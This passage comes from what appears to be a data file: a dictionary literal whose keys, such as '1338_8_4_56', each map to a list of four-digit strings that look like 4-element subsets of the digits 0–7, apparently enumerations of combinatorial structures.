['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1338_8_4_56' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0236','1236','0146','1246','0346','1346','2346','0256','1256','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1339_8_4_59' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1340_8_4_58' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1341_8_4_58' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1342_8_4_58' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1343_8_4_60' : ['0123','0134','1234','0125','0235','0145','1245','0345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1344_8_4_59' : ['0123','0134','1234','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1345_8_4_34' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0367','1367','2367','3467','3567'] , '1346_8_4_54' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1347_8_4_54' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','2567','4567'] , '1348_8_4_56' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','4567'] , '1349_8_4_56' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1350_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1351_8_4_56' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0267','1267','0367','1367','0467','1467','2467','3467','2567','3567','4567'] , '1352_8_4_50' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','1267','1367','1467','0567','1567','2567','3567','4567'] , '1353_8_4_55' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1354_8_4_55' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1355_8_4_55' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1356_8_4_55' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1357_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1358_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1359_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','4567'] , '1360_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1361_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','2567','4567'] , '1362_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1363_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1364_8_4_55' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1365_8_4_50' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','0267','0367','0467','1467','2467','3467','0567','4567'] , '1366_8_4_49' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','1367','1467','0567','1567','2567','3567','4567'] , '1367_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1368_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1369_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '1370_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','3567','4567'] , '1371_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','2567','3567','4567'] , '1372_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1373_8_4_51' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','1367','1467','0567','1567','2567','3567','4567'] , '1374_8_4_51' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','1367','1467','0567','2567','3567','4567'] , '1375_8_4_56' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1376_8_4_56' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1377_8_4_56' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1378_8_4_56' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1379_8_4_56' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1380_8_4_56' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1381_8_4_54' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','1267','0367','2367','1467','3467','0567','2567','4567'] , '1382_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1383_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1384_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1385_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1386_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1387_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1388_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1389_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','4567'] , '1390_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1391_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1392_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','4567'] , '1393_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1394_8_4_56' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1395_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1396_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','4567'] , '1397_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1398_8_4_50' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1399_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1400_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1401_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1402_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1403_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1404_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1405_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1406_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567'] , '1407_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','2567','4567'] , '1408_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1409_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1410_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1411_8_4_52' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','1367','1467','0567','1567','2567','3567','4567'] , '1412_8_4_52' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0357','1357','2357','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1413_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1414_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1415_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1416_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1417_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1418_8_4_59' : 